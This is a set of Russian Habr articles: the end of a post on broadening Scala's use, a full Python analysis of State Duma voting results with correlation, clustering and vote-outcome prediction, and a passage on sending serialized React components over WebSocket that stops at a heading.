Я думаю, что сообщество Scala не должно тратить много усилий на изучение существующего синтаксиса языка, много усилий на обсуждение функционального и объектно-ориентированного программирования или много усилий на то, чтобы сделать наш и без того очень типобезопасный код еще более типобезопасным. Вместо этого усилия должны идти на расширение языка, чтобы охватить тех разработчиков, которых мы не могли вовлечь: новичков, непрограммистов, людей с инструментами командной строки, разработчиков iOS и так далее. Если мы посмотрим на [Опрос разработчиков Jetbrains 2019 для Python](https://www.jetbrains.com/lp/devecosystem-2019/python/), мы увидим множество различных областей, в которых используется язык Python:
В настоящее время Scala в подавляющем большинстве случаев используется для серверных служб и/или конвейеров данных Spark, но нет никаких причин, по которым Scala также не могла удовлетворить вышеупомянутые варианты использования. Сообщество должно сделать применение Scala простым и широким настолько, чтобы любой, а не только многоопытный бэкенд/инженер данных, мог выбрать Scala и использовать его, наслаждаясь лаконичностью, производительностью и безопасностью типов, которые в сообществе Scala уже знают и любят.
**Об авторе**: Хаойи (Haoyi) — инженер-программист, один из первых разработчиков Scala.js и автор многих инструментов Scala с открытым исходным кодом, таких как Ammonite REPL и FastParse.
Если вам понравился этот блог, или вам нравилось использовать другие библиотеки с открытым исходным кодом Haoyi, пожалуйста, подключитесь (или сделайте так, чтобы ваша компания включилась!) Через Patreon, чтобы он мог продолжить свою работу с открытым исходным кодом. | https://habr.com/ru/post/497908/ | null | ru | null |
# ML-обработка результатов голосований Госдумы (2016-2021)
Всем привет! Недавно я наткнулся на сайт [vote.duma.gov.ru](http://vote.duma.gov.ru), на котором представлены результаты голосований Госдумы РФ за весь период её работы — с 1994-го года по сегодняшний день. Мне показалось интересным применить некоторые техники машинного обучения, а так же обычной статистической обработки для выяснения следующих вопросов.
1. Каков диапазон степени корреляции депутатов внутри партий? Имеются ли депутаты, которые голосуют всегда так же, как большинство в их партии?
2. Смогут ли классические методы кластеризации автоматически разделить депутатов думы на фракции, к которым они относятся, основываясь только на их голосах?
3. Можно ли добиться приемлемого качества предсказания итога голосования, зная только исходный текст вопроса голосования?
Предполагаю, что людям, не знакомым с методами машинного обучения, может быть интересно посмотреть раздел 1, а также заглянуть в выводы — там дана краткая интерпретация всех результатов.
Итак, поехали.
Пара слов про датасет и принятые допущения.
У вышеуказанного сайта есть API, через который можно скачать все интересующие данные и многое другое, однако он слегка замороченный и не всегда работает, поэтому я решил, что проще будет спарсить данные с веб-версии. Код парсера (и весь остальной код, написанный на Python, а также датасеты) можно посмотреть на [GitHub](https://github.com/drheavy/GD_vote). Для своих экспериментов я скачал результаты всех голосований Госдумы 7-го созыва (2016 — 2021 гг.). Были получены данные по 16249 голосованиям (дата сбора информации — 07.06.2021).
Фрагмент полученного датасета выглядит примерно так:
**Спойлер**
| | law\_name | vote\_result | Авдеев Александр Александрович | Адучиев Батор Канурович | Азимов Рахим Азизбоевич | Аксаков Анатолий Геннадьевич | Алексеева Татьяна Олеговна | Алимова Ольга Николаевна | Альшевских Андрей Геннадьевич | Ананских Игорь Александрович |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 114731 | (первое чтение) О проекте федерального закона № 785659-7 "О внесении изменений в Лесной кодекс Российской Федерации и отдельные законодательные акты Российской Федерации в части публикации информации о лесах" | отклонен | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 |
| 114730 | (первое чтение) О проекте федерального закона № 1105089-7 "О внесении изменений в статью 7 Федерального закона "О противодействии легализации (отмыванию) доходов, полученных преступным путем, и финансированию терроризма" (в части уточнения вопросов, связанных с проведением идентификации физических лиц, осуществляющих операции по обмену банкнот) | принят | -1 | -1 | -1 | 2 | -1 | -1 | -1 | 2 |
В качестве индекса используется соответствующий номер голосования на сайте vote.duma.gov.ru, далее идёт текст вопроса голосования, результат голосования и пофамильные результаты всех депутатов, входящих в текущий созыв на момент голосования.
Так как список депутатов, входящих в данный созыв, со временем слегка менялся, было принято решение убрать из датасета тех, кто отсутствовал в составе думы в течение 10 и более процентов всех голосований. Оставшие пропуски были заполнены значением "2", что соответствует тому, что депутат на момент голосования был в составе думы, но по тем или иным причинам не голосовал.
Остальные значения в таблице голосов: "1" — "против", "0" — "воздержался", "-1" — "за".
1. Корреляции
-------------
```
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
# Загрузка основного датафрейма с результатами голосований
df_full = pd.read_csv('./data/df_full_cr.csv', index_col=0)
# Загрузка таблицы со списком депутатов и их партий
dep_df_cr = pd.read_csv('./data/dep_df_cr.csv', index_col=0, squeeze=True)
# Функция построения тепловой карты корреляций
def corr_func(df, annot=True, figsize=(15,10)):
corr = df.corr()
mask = np.triu(np.ones_like(corr, dtype=bool))
plt.figure(figsize=figsize)
sns.heatmap(corr, mask=mask, annot=annot, fmt='.2f')
```
Чтобы при расчёте корреляций нивелировать влияние количества пропусков голосований у каждого депутата (иначе главные прогульщики будут иметь наименьший коэффициент корреляции с остальными, т.е. выглядеть более независимо), я решил для каждого голосования заполнить голоса отсутствующих депутатов результирующим голосом их партии. Т.е. условно принимается, что если депутат отсутствует, то он доверяет свой голос партии.
```
# Функция подсчёта итогов голосования
def vote_result(row):
v_sum = 0
for v in row:
if np.abs(v) == 1:
v_sum += v
return v_sum
# Функция замены голоса отсутствующего депутата на "голос партии"
def votes_olny(row):
for i, v in enumerate(row):
if v == 2:
row[i] = row['party_result']
return row
```
**Справедливая Россия**
```
df = {}
# Создаём отдельный датафрейм для партии
df['СР'] = df_full.loc[:, dep_df_cr[dep_df_cr == 'СР'].index]
# Для каждого голосования определяем общий результат для партии
df['СР']['party_result'] = df['СР'].apply(vote_result, axis='columns').map(lambda x: int(abs(x)/x) if x != 0 else 0)
# Меняем все значение "2" (не голосовал) на 'party_result'
df['СР'].apply(votes_olny, axis='columns')
# Строим тепловую карту коэффициентов корреляции Пирсона
corr_func(df['СР'])
```
Депутаты, у которых преобладают тёмные клетки, голосуют более независимо, чем остальные. Отдельные светлые клеточки показывают пары депутатов, которые часто голосуют одинаково. Посмотрим на остальные партии.
**ЛДПР**
(Все значения округляются до двух знаков после запятой)
**КПРФ**
**Единая Россия**
(чтобы рассмотреть хоть что-то, лучше открыть картинку в отдельной вкладке)
Как можно видеть, во всех случаях коэффициент корреляции составил более 0,91 (в подавляющем большинстве — более 0,97).
Теперь посмотрим, существуют ли такие депутаты, которые весь созыв голосовали точно так же, как и их партийное большинство (в данном случае учитывались только голоса "за" и "против").
```
# Функция определения списка депутатов, голосовавших всегда так же, как большинство в их партии
def ident_deps(df_party):
deps_party_full = list(df_party.drop(columns=['party_result']).columns.values)
deps_party_ident = deps_party_full.copy()
for ind in df_party.index.values:
for d in deps_party_ident:
vote = df_party.loc[ind, d]
if vote != df_party.loc[ind, 'party_result'] and (vote != 0 and vote != 2):
deps_party_ident.remove(d)
if len(deps_party_ident) == 0:
break
return deps_party_ident, deps_party_full
```
**Справедливая Россия**
```
deps_SR_ident, deps_SR_full = ident_deps(df['СР'])
# Количество "идентичных" депутатов
len(deps_SR_ident)
>>> 0
```
**ЛДПР**
```
deps_LDPR_ident, deps_LDPR_full = ident_deps(df['ЛДПР'])
# Количество "идентичных" депутатов
len(deps_LDPR_ident)
>>> 5
# Доля "идентичных" депутатов от общего числа в партии
np.round(len(deps_LDPR_ident) / len(deps_LDPR_full), 2)
>>> 0.16
# Список "идентичных" депутатов
deps_LDPR_ident
>>> ['Жириновский Владимир Вольфович',
'Кулиева Василина Васильевна',
'Морозов Антон Юрьевич',
'Пашин Виталий Львович',
'Свищев Дмитрий Александрович']
```
**КПРФ**
```
deps_KPRF_ident, deps_KPRF_full = ident_deps(df['КПРФ'])
# Количество "идентичных" депутатов
len(deps_KPRF_ident)
>>> 0
```
**Единая Россия**
```
deps_ER_ident, deps_ER_full = ident_deps(df['ЕР'])
# Количество "идентичных" депутатов
len(deps_ER_ident)
>>> 59
# Доля "идентичных" депутатов от общего числа в партии
np.round(len(deps_ER_ident) / len(deps_ER_full), 2)
>>> 0.19
# Список "идентичных" депутатов
deps_ER_ident
>>>
```
**Спойлер**
```
['Азимов Рахим Азизбоевич',
'Альшевских Андрей Геннадьевич',
'Аскендеров Заур Асевович',
'Балыбердин Алексей Владимирович',
'Бикбаев Ильдар Зинурович',
'Богуславский Ирек Борисович',
'Боева Наталья Дмитриевна',
'Валуев Николай Сергеевич',
'Ветлужских Андрей Леонидович',
'Воевода Алексей Иванович',
'Ганиев Фарит Глюсович',
'Делимханов Адам Султанович',
'Дерябкин Виктор Ефимович',
'Изотов Алексей Николаевич',
'Ишсарин Рамзил Рафаилович',
'Каличенко Андрей Владимирович',
'Канаев Алексей Валерианович',
'Карпов Анатолий Евгеньевич',
'Колесников Олег Алексеевич',
'Кравченко Денис Борисович',
'Кривоносов Сергей Владимирович',
'Кувшинова Наталья Сергеевна',
'Кудрявцев Максим Георгиевич',
'Левицкий Юрий Андреевич',
'Макиев Зураб Гайозович',
'Максимова Светлана Викторовна',
'Москвин Денис Павлович',
'Москвичев Евгений Сергеевич',
'Муцоев Зелимхан Аликоевич',
'Назарова Наталья Васильевна',
'Никонов Вячеслав Алексеевич',
'Огуль Леонид Анатольевич',
'Окунева Ольга Владимировна',
'Перминов Дмитрий Сергеевич',
'Петров Сергей Валериевич',
'Петров Юрий Александрович',
'Петрунин Николай Юрьевич',
'Пилюс Наталия Николаевна',
'Пирог Дмитрий Юрьевич',
'Пискарев Василий Иванович',
'Пушкарев Владимир Александрович',
'Романенко Роман Юрьевич',
'Сазонов Дмитрий Валерьевич',
'Саралиев Шамсаил Юнусович',
'Скляр Геннадий Иванович',
'Слыщенко Константин Григорьевич',
'Смирнов Юрий Валентинович',
'Солнцева Светлана Юрьевна',
'Сураев Максим Викторович',
'Терешкова Валентина Владимировна',
'Туров Артём Викторович',
'Тутова Лариса Николаевна',
'Фокин Александр Иванович',
'Харсиев Алихан Анатольевич',
'Хасанов Мурат Русланович',
'Цыбизова Татьяна Игоревна',
'Чепиков Сергей Владимирович',
'Шойгу Лариса Кужугетовна',
'Ямпольская Елена Александровна']
```
"Идентичные" депутаты обнаружились в двух из четырех партий, в одной из которых их оказалось целых 59 человек (19%).
2. Кластеризация
----------------
```
from sklearn.metrics import silhouette_score
from sklearn.cluster import KMeans, AgglomerativeClustering
from sklearn.decomposition import PCA
from MulticoreTSNE import MulticoreTSNE as TSNE
import umap
# В основном датафрейме для облегчения последующей кластеризации значения "не голосовал" (2) были приравнены к "воздержался" (0).
for d in df_full.drop(columns=['law_name', 'vote_result']).columns:
df_full[d] = df_full[d].map(lambda x: 0 if x == 2 else x)
# Транспонирование матрицы для последующей кластеризации
df_t = df_full.transpose().drop(index=['law_name', 'vote_result'])
df_t.iloc[:3, :7]
>>>
```
| | 114772 | 114771 | 114770 | 114769 | 114768 | 114767 | 114766 |
| --- | --- | --- | --- | --- | --- | --- | --- |
| Авдеев Александр Александрович | -1 | 0 | 0 | 0 | 0 | 0 | 0 |
| Адучиев Батор Канурович | -1 | 0 | 0 | 0 | 0 | 0 | 0 |
| Азимов Рахим Азизбоевич | -1 | 0 | 0 | 0 | 0 | 0 | 0 |
```
X = df_t # Матрица для кластеризации
y = dep_df_cr # Данные о партийной принадлежности
def plot(x1, x2, hue=None, name=None):
plt.figure(figsize=(10,10))
sns.scatterplot(x1, x2, hue=hue, palette="bright")
plt.title(name, fontsize=18)
plt.show()
```
Далее отображаем нашу матрицу в двухмерное пространство с помощью PCA, UMAP и t-SNE и смотрим, что получилось.
**PCA**
```
pca = PCA(random_state=7)
pca.fit(X)
PCA_transformed = PCA(n_components=2, random_state=7).fit_transform(X)
plot(PCA_transformed[:, 0], PCA_transformed[:, 1], hue=y, name='PCA')
```
Видно, что PCA справился плоховато, смешав СР и ЛДПР в одну кучу.
**t-SNE**
```
tsne = TSNE(n_jobs=-1, random_state=7)
tsne_transformed = tsne.fit_transform(X)
plot(tsne_transformed[:,0], tsne_transformed[:,1], hue=y, name='t-SNE')
```
**UMAP**
```
reducer = umap.UMAP(random_state=7)
embedding = reducer.fit_transform(X)
plot(embedding[:, 0], embedding[:, 1], hue=y, name='UMAP')
```
А вот t-SNE/UMAP сработали отлично, чётко разделив все 4 партии. Глядя на картинки, можно предположить, что сама кластеризация сработает так же успешно, однако, проверим.
**Алгоритм k-means**
Определим оптимальное количество кластеров методом силуэтного графика:
```
silhouette = []
for i in range(2,11):
kmeans = KMeans(n_clusters=i, random_state=7, n_jobs=-1).fit(X)
labels = kmeans.labels_
score = silhouette_score(X, labels)
silhouette.append(score)
plt.plot(range(2,11), silhouette, marker='o')
```
По графику видно, что максимальное число кластеров, на которое хорошо делятся данные, равно 4.
```
kmeans_4 = KMeans(n_clusters=4, random_state=7, n_jobs=-1).fit(X)
labels_km_4 = kmeans_4.labels_
plot(tsne_transformed[:,0], tsne_transformed[:,1], hue=labels_km_4, name='t-SNE')
```
```
plot(embedding[:, 0], embedding[:, 1], hue=labels_km_4, name='UMAP')
```
Как можно видеть, K-means с настройками по-умолчанию отлично справился с задачей кластеризации. Проверял также иерархический алгоритм (AgglomerativeClustering) — не буду приводить код и картинки, т.к. результат аналогичный.
3. Прогнозирование результатов голосования
------------------------------------------
```
from sklearn.linear_model import LogisticRegressionCV
from sklearn.ensemble import RandomForestClassifier
from sklearn.ensemble import GradientBoostingClassifier
from xgboost.sklearn import XGBClassifier
from lightgbm import LGBMClassifier
from sklearn.neighbors import KNeighborsClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score
from sklearn.metrics import roc_auc_score, roc_curve
from nltk.corpus import stopwords
from sklearn.feature_extraction.text import TfidfVectorizer
from pymystem3 import Mystem
from joblib import Parallel, delayed
# Распределение голосований
df_full.vote_result.value_counts()
>>>
принят 12770
отклонен 3328
Рейтинговое 151
# Удаление "рейтинговых" голосований
df_lem = df_full.drop(index=df_full[df_full['vote_result'] == 'Рейтинговое'].index)
# Перекодирование таргета в числовую форму
df_lem.vote_result = df_lem.vote_result.map(lambda s: 1 if s=='принят' else 0)
# Список с текстами вопросов голосования
law_list_p = df_lem.law_name.astype('str').tolist()
```
Ниже используется кусок кода для ускоренной лемматизации, подсмотренный в [этой](https://habr.com/ru/post/503420/) статье. Спасибо юзерам [Codex1](https://habr.com/ru/users/codex1/) и [serhit](https://habr.com/ru/users/serhit/).
```
# Функция лемматизации с объединением текстов в один большой (для увеличения скорости работы pymystem3)
def lemma3(text):
m = Mystem()
merged_text = "".join(txt + ' br ' for txt in text)
doc = ''
res = []
for t in m.lemmatize(merged_text):
if t != '\n':
if t != 'br':
doc += t
else:
res.append(doc)
doc = ''
return res
text_batch = [law_list_p[i: i + 1000] for i in range(0, len(law_list_p), 1000)]
# Лемматизация с использованием всех ядер процессора
law_list_p_clean = Parallel(n_jobs=-1)(delayed(lemma3)(t) for t in text_batch)
# Пересобрание списка с текстами вопросов голосований
law_list_p_clean_list = []
for l in law_list_p_clean:
for b in l:
law_list_p_clean_list.append(b)
df_law_clean = pd.DataFrame(law_list_p_clean_list)
# Разбиение датасета на train и test
X_train, X_test, y_train, y_test = train_test_split(
df_law_clean[0],
df_lem.vote_result,
test_size=0.3,
stratify = df_lem.vote_result,
random_state = 7
)
# Векторизация текстов
v = TfidfVectorizer(stop_words=stopwords.words('russian'), ngram_range=(1, 2), max_df=0.95, min_df=0.002, norm=None)
X_train_tfid = v.fit_transform(X_train).todense()
X_test_tfid = v.transform(X_test).todense()
models = {}
# Логистическая регрессия
models[0] = LogisticRegressionCV()
# Random Forest
models[1] = RandomForestClassifier(n_estimators=400, min_samples_split=3, random_state=7)
# Градиентный бустинг (sklearn)
models[2] = GradientBoostingClassifier(random_state=7)
# XGB
models[3] = XGBClassifier(n_jobs=-1, random_state=7)
# LightGBM
models[4] = LGBMClassifier(n_jobs=-1, random_state=7)
# kNN
models[5] = KNeighborsClassifier(n_neighbors=3)
for m in models:
models[m].fit(X_train_tfid, y_train)
model_names = {0: 'log_reg', 1: 'RF_clf', 2: 'GB_clf', 3: 'XGB_clf', 4: 'LGBM_clf', 5: 'knn_clf'}
# Функции вывода метрик классификации
def dataframe_quality_metrics(actual, prediction):
stats = [
accuracy_score(actual, prediction),
precision_score(actual, prediction),
recall_score(actual, prediction),
f1_score(actual, prediction)
]
return stats
def metrics_all(models, model_names, y_test):
measured_quality_metrics = pd.DataFrame({"Test_quality":["Accuracy", "Precision", "Recall", "f1_score"]})
measured_quality_metrics.set_index("Test_quality")
y_test_baseline = np.array([1]*len(y_test))
measured_quality_metrics["baseline"] = dataframe_quality_metrics(y_test_baseline, y_test)
for m in models:
measured_quality_metrics[model_names[m]] = dataframe_quality_metrics(models[m].predict(X_test_tfid), y_test)
return measured_quality_metrics
```
Т.к. в датасете присутствует некоторый дисбаланс классов (результат около 80% голосований — "принят"), в качестве простейшего бейзлайна был взят предиктор, выдающий всегда значение "принят".
```
# Вывод метрик
metrics_all(models=models, model_names=model_names, y_test=y_test)
```
| | Test\_quality | baseline | log\_reg | RF\_clf | GB\_clf | XGB\_clf | LGBM\_clf | knn\_clf |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | Accuracy | 0.793168 | 0.895652 | 0.903313 | 0.883023 | 0.896687 | 0.9 | 0.873499 |
| 1 | Precision | 1 | 0.949622 | 0.95432 | 0.979901 | 0.947794 | 0.944923 | 0.956408 |
| 2 | Recall | 0.793168 | 0.921246 | 0.926039 | 0.88496 | 0.923919 | 0.930113 | 0.891918 |
| 3 | f1\_score | 0.884655 | 0.935219 | 0.939967 | 0.930014 | 0.935704 | 0.93746 | 0.923038 |
Судя по метрикам, все алгоритмы классификации справились хорошо. Исключением стал kNN, который тяжело переваривает с датасеты с таким огромным количеством признаков (напомню, в данном случае — 16 тыс.) Думаю, потратив время на хорошую кросс-валидацию, можно было бы вытянуть ещё пару процентов, но так как данная работа носила скорее шуточный характер, а времени было жалко, я остановился на этом результате.
Под спойлером также можно посмотреть ROC-кривые, а также степень влияния определённых слов на результат предсказания для модели логистической регрессии.
**Спойлер**
```
# Функция построение ROC-кривых для каждой модели
def plot_roc_curve_all(models, model_names, y_test):
i = 1
ax = {}
row_len = 3
nrows = len(models) // row_len + 1
plt.figure(figsize=(20,18))
for m in models:
prob_prediction = models[m].predict_proba(X_test_tfid)[:,1]
fpr, tpr, thresholds = roc_curve(y_test, prob_prediction)
auc_score = roc_auc_score(y_test, prob_prediction)
ax[i] = plt.subplot(nrows, row_len, i)
ax[i].plot(fpr, tpr, label='ROC curve ')
ax[i].plot([0, 1], [0, 1])
ax[i].set_xlim([0.0, 1.0])
ax[i].set_ylim([0.0, 1.05])
ax[i].set_xlabel('False Positive Rate')
ax[i].set_ylabel('True Positive Rate')
ax[i].set_title('{} ROC AUC: {:.3f}'.format(model_names[m], auc_score))
i += 1
plt.show()
plot_roc_curve_all(models=models, model_names=model_names, y_test=y_test)
```
```
df = pd.DataFrame(X_train_tfid, columns=v.get_feature_names())
# Слова/словосочетания, положительно влияющие на прогноз результата "принят"
featureImportance = pd.DataFrame({"feature": df.columns,
"importance": models[0].coef_[0]})
featureImportance.set_index('feature', inplace=True)
featureImportance.sort_values(["importance"], ascending=False, inplace=True)
featureImportance["importance"][:30].plot(kind='bar', figsize=(18, 6))
```
```
# Слова/словосочетания, отрицательно влияющие на прогноз результата "принят"
featureImportance = pd.DataFrame({"feature": df.columns,
"importance": models[0].coef_[0]})
featureImportance.set_index('feature', inplace=True)
featureImportance.sort_values(["importance"], ascending=True, inplace=True)
featureImportance["importance"][:30].plot(kind='bar', figsize=(18, 6))
```
Основное влияние оказывают технические термины. Например, если рассматривается второе или третье чтение законопроекта, вероятность его принятия повышается, а если первое, либо вопрос вынесен на голосование каким-либо депутатом — понижается. Из графиков видно, что также имеют значение слова, отражающие тематику рассматриваемых законопроектов.
Выводы
------
Пройдусь вкратце по вопросам, поставленным в начале работы.
1. Степень корреляции голосов депутатов внутри всех партий оказалась довольно высокой, значения коэффициента Пирсона колебались в диапазоне 0,91-0,999. При этом в двух партиях обнаружились депутаты, голос которых во всех голосованиях совпадает с мнением партийного большинства (вариант "воздержался" не учитывался).
2. Два алгоритма кластеризации (k-means и hierarhical), имея только информацию о результатах голосования каждого депутата, отлично справились с автоматическим распределением всех депутатов по их партиям.
3. Отталкиваясь от текста рассматриваемого вопроса голосования, классические ML-модели без какой-либо серьёзной настройки позволяют угадывать итог голосования с точностью около 90% (максимальные Accuracy — 0,9, f1-score — 0,94, ROC AUC — 0,96).
Благодарю [Дмитрия Сергеева](https://www.linkedin.com/in/sergeyevdmitry/) и [Дмитрия Головина](https://habr.com/ru/users/golovinds/) за помощь в подготовке публикации.
---
Также приглашаю всех желающих записаться на Demo Day курса **["Промышленный ML на больших данных"](https://otus.pw/WL9T/)**. *В рамках вебинара вы сможете познакомиться с экспертами OTUS, подробно узнать о курсе, а также о процессе обучения.*
---
Всем спасибо за внимание! | https://habr.com/ru/post/564806/ | null | ru | null |
# Передаем React компоненты по WebSocket
Год назад команда реакта представила [серверные компоненты](https://ru.reactjs.org/blog/2020/12/21/data-fetching-with-react-server-components.html) (не путать с SSR). Если вкратце, то суть в том, что компонент создается на сервере, сериализуется в хитрый json, отправляется клиенту по http, а клиент десериализует и рендерит его как обычный реакт компонент (тут-то и самое заметное отличие от SSR, который клиенту передает уже готовый html код). Вообще штука прикольная, но как мне кажется не получила особого внимания со стороны сообщества, может отчасти из-за сырого состояние (на то это и демка), а может из-за сложности в реализации и внедрения в проект (ИМХО)
Но как бы там ни было я заинтересовался и подумал, если можно передавать по HTTP, значит можно и по WebSocket. Действительно, почему бы нет, да и работать будет намного быстрее. Попытка переписать [их демку](https://github.com/reactjs/server-components-demo) на веб-сокеты потерпела поражения, уж очень много там странного и непонятного для меня кода, да и не охота было сильно углубляться в то обилие зависимостей, которые требуются, чтобы все это дело заработало.
Поэтому я принялся писать свою личную упрощенную версию серверных компонентов, которые могли бы в реал-тайме передаваться по веб-сокет соединению. Почему бы и нет.
> *К слову, писал я её еще 10 месяцев назад и как-то забыл об этом. Но на днях я наткнулся на репозиторий и подумал, что все таки вышло прикольно и решил написать об этом статью.*
Основная идея
-------------
В первую очередь клиент устанавливает веб-сокет соединение с сервером. Дальше, неким магическим импортом, получает сериализованный компонент, который на самом деле хранится и создается на сервере, десериализует его, и может работать с ним как с обычным реактовским, в том числе рендерить его в любом месте, передавать ему сериализуемые пропсы и `children`. Так как компонент существует только на сервере, то при каждом изменении пропсов его нужно перезапросить и снова отрисовать
Сериализация компонентов
------------------------
Первая задача, которую нужно решить — это сериализация компонентов. Она происходит исключительно на сервере, от чего серверные компоненты сильно ограничены, по сути они должны включать в себя только JSX и не могут использовать состояние, собственно, как и любые другие хуки.
Задача сериализации компонента сводится к сериализации непосредственно JSX. Я не пишу классовые компоненты от слова совсем, поэтому я даже не рассматривал процесс их сериализации, но не думаю, что он может сильно отличаться. Но все же скажу, что все следующие примеры будут справедливы только для функциональных компонентов.
Для начала посмотрим как вообще выглядят компоненты если их вывести в консоль (я удалил лишние свойства, для компактности)
---
**Пустой html элемент**
```
console.log()
{
$$typeof: Symbol(react.element),
props: {},
type: "div"
}
```
**html элемент со строкой внутри**
```
console.log(habr)
{
$$typeof: Symbol(react.element),
props: { children: 'habr' },
type: "div"
}
```
**html элемент с массивом данных внутри**
```
console.log({['habr', 42]})
{
$$typeof: Symbol(react.element),
props: {
children: ['habra', 42]
},
type: "div"
}
```
**html элемент с другим html элементом внутри**
```
console.log()
{
$$typeof: Symbol(react.element)
props: {
children: {
$$typeof: Symbol(react.element),
props: {},
type: "div"
}
},
type: "div"
}
```
**Функциональный компонент**
```
const Component = () =>
console.log()
{
$$typeof: Symbol(react.element),
props: {},
type: () => react_1.default.createElement("div", null)
}
```
**Функциональный компонент обернутый в `React.memo`**
```
const Component = React.memo(() => )
console.log()
{
$$typeof: Symbol(react.element),
props: {},
type: {
$$typeof: Symbol(react.memo),
compare: null,
type: () => react_1.default.createElement("div", null)
}
}
```
**Фрагмент**
```
console.log(<>)
{
$$typeof: Symbol(react.element),
props: {},
type: Symbol(react.fragment)
}
```
---
Так, из этого можно сделать вывод, что все что нужно для сериализации это `type` и `props`. Но вот что нужно учитывать:
* `children`
+ строка/число, когда дочерний элемент строка/число
+ массив строк/чисел, когда есть несколько дочерних элементов строк/чисел
+ объект, когда дочерний элемент компонент/html элемент
+ массив объектов, когда есть несколько дочерних компонент/html элементов
* `type`
+ строка для html элементов
+ функция для компонентов
+ объект для компонентов обернутых в `memo`
+ `Symbol` для фрагмента
На основе этих данных у меня получилась следующая функция сериализации (я удалил некоторые доп. проверки, чтобы акцентировать внимание только на главном, полную версию можно посмотреть в гитхабе):
```
const decomposeFunctionElement = (Component, props) => {
// call functional component as function :3
const decomposed = Component(props)
return serializeReactElement(decomposed)
}
const serializeChildren = (children) => {
if (children === null || typeof children === 'undefined') {
return null
}
if (!Array.isArray(children)) {
return serializeReactElement(children)
}
return children.map(serializeReactElement)
}
const serializeReactElement = (element) => {
// строки и числа оставляем как есть
if (typeof element === 'string' || typeof element === 'number') {
return element
}
const {
type,
props: { children, ...props } = {},
} = element
// Memo
if (typeof type === 'object') {
return decomposeFunctionElement(type.type, element.props)
}
// Function
if (typeof type === 'function') {
return decomposeFunctionElement(type, element.props)
}
const serializedChildren = serializeChildren(children)
if (serializedChildren) {
props.children = serializedChildren
}
// HTML tag
return { type, props }
}
```
Основная функция это `serializeReactElement`. По сути принцип её работы в том, что я оставляю из компонента только свойства `type` и `props`, но для случая, когда `type` это функция или объект, то это немного отличается. Самое интересное происходит в `decomposeFunctionElement`, где я вызываю реакт компонент как обычную функцию, тем самым "разбираю" его и получаю чистый JXS, который снова сериализую, и так далее по рекурсии. А с `memo` почти всё также, он имеет внутри себя еще один `type`, который уже является функцией и представляет собой непосредственно обернутый компонент
На выходе получаю такой результат:
```
const Component = ({ title, children }) => (
{title}
{children}
)
const jsx = (
Content
)
const serialized = serializeReactElement(jsx)
console.log(serialized)
{
type: 'div',
props: {
children: [
{
type: 'span',
props: {
children: 'Title',
},
},
{
type: 'p',
props: {
children: 'Content',
},
},
],
},
}
```
Сервер
------
Теперь, когда я умею сериализовать компоненты, можно писать сервер. Его реализация получилась прям максимально простой и компактной
```
// wss - любой веб сокет сервер
wss.on('connection', socket => {
socket.on('message', message => {
const { path, props } = JSON.parse(message)
const Component = require(resolve(__dirname, 'example', path)).default
const element = React.createElement(Component, props, Tags.CHILDREN)
socket.send(JSON.stringify({
path,
element: serializeReactElement(element)
}))
})
})
```
Клиент запрашивает у сервера компонент, передавая ему `path` — путь к нему и `props` — пропсы, с которыми нужно создать компонент. Я получаю компонент и через встроенную в реакт функцию `createElement` создаю его.
#### children в серверных компонентах
Но тут есть интересный момент. У компонента обычно есть еще `children`, по сути это пропс, но в `createElement` он выделен под отдельный аргумент. А так как `children` доступны только на клиенте, то я при создании компонента указываю вместо них специальный тег `Tags.CHILDREN`, тем самым как бы говоря клиенту "вот в это место, при десериализации компонента, ты должен вставить свои `children`"
Что это за тег? А это самый обычный объект
```
const CHILDREN = {
type: 'CHILDREN'
}
```
Теперь, помимо всех остальных типов, у меня появился дополнительный `CHILDREN`, который я создал, и его нужно учесть при сериализации.
С таким тегом результат сериализации будет таким:
```
const Component = ({ children }) => (
{children}
)
const cmp = React.createElement(Component, {}, Tags.CHILDREN)
const serialized = serializeReactElement(cmp)
{
type: 'div',
props: {
children: {
type: 'CHILDREN',
}
},
}
```
#### Клиентские компоненты в серверных
Аналогичным образом необходимо поддержать возможность использовать клиентские компоненты в серверных. Опять же, клиентские компоненты доступны только из клиентского кода, поэтому для серверных компонентов, в местах где нужно будет вставить клиентский, я через еще один специальный `тег` говорю клиенту "вот тут вот, при десериализации компонента, тебе нужно будет вставить клиентский компонент с таким-то именем".
Вот как выглядит этот тег
```
const CLIENT_COMPONENT = (path, props) => {
return {
type: 'CLIENT_COMPONENT',
props,
name,
}
}
const importClientComponent = (name) => (props) => {
return CLIENT_COMPONENT(name, props)
}
```
Теперь в серверных компонентах, если нужно вставить клиентский, вместо привычных `import/require` нужно пользоваться функцией `importClientComponent`, которая возвращает новый компонент, а он в свою очередь динамически создает тег с нужной информацией для клиента.
Пример
```
const ClientComponent = importClientComponent('Counter')
const ServerCompnent = () => {
return (
)
}
```
А при сериализации получится такой результат:
```
{
type: 'div',
props: {
children: {
type: 'CLIENT_COMPONENT',
props: {
initValue: 0,
step: 2
},
name: 'Counter'
}
},
}
```
Клиент
------
С сервером разобрался, осталось написать клиент и дело в шляпе. Начну с десериализации, она почти не сложная
```
const clientComponentsMap = {
Counter: require('./Counter.js').default
}
const deserializeChildren = (children, clientChildren) => {
if (!children || (Array.isArray(children) && !children.length)) {
return null
}
if (!Array.isArray(children)) {
return deserializeReactElement(children, clientChildren)
}
return children.map(child => deserializeReactElement(child, clientChildren))
}
const deserializeReactElement = (element, clientChildren = null) => {
if (typeof element === 'string' || typeof element === 'number') {
return element
}
const { type, name, props = {} } = element
if (type === 'CHILDREN') {
return clientChildren
}
if (type === 'CLIENT_COMPONENT' && name) {
const Component = clientComponentsMap[name]
return createElement(Component, props, deserializeChildren(props.children, clientChildren))
}
return createElement(type, props, deserializeChildren(props.children, clientChildren))
}
```
Учитываю теги, которые оставляет нам сервер: для `CHILDREN` — возвращаю непосредственно `children`, для `CLIENT_COMPONENT` — получаю клиентский компонент по имени и создаю его, а для всего остального просто создаю компонент. Я использовал `parcel` в качестве сборщика и он, как я понял, не поддерживает динамические импорты, поэтому клиентские компоненты пришлось заранее импортировать и сохранить в объект `clientComponentsMap`, чтобы иметь доступ к ним по их имени.
#### Импорт серверных компонентов в клиентских
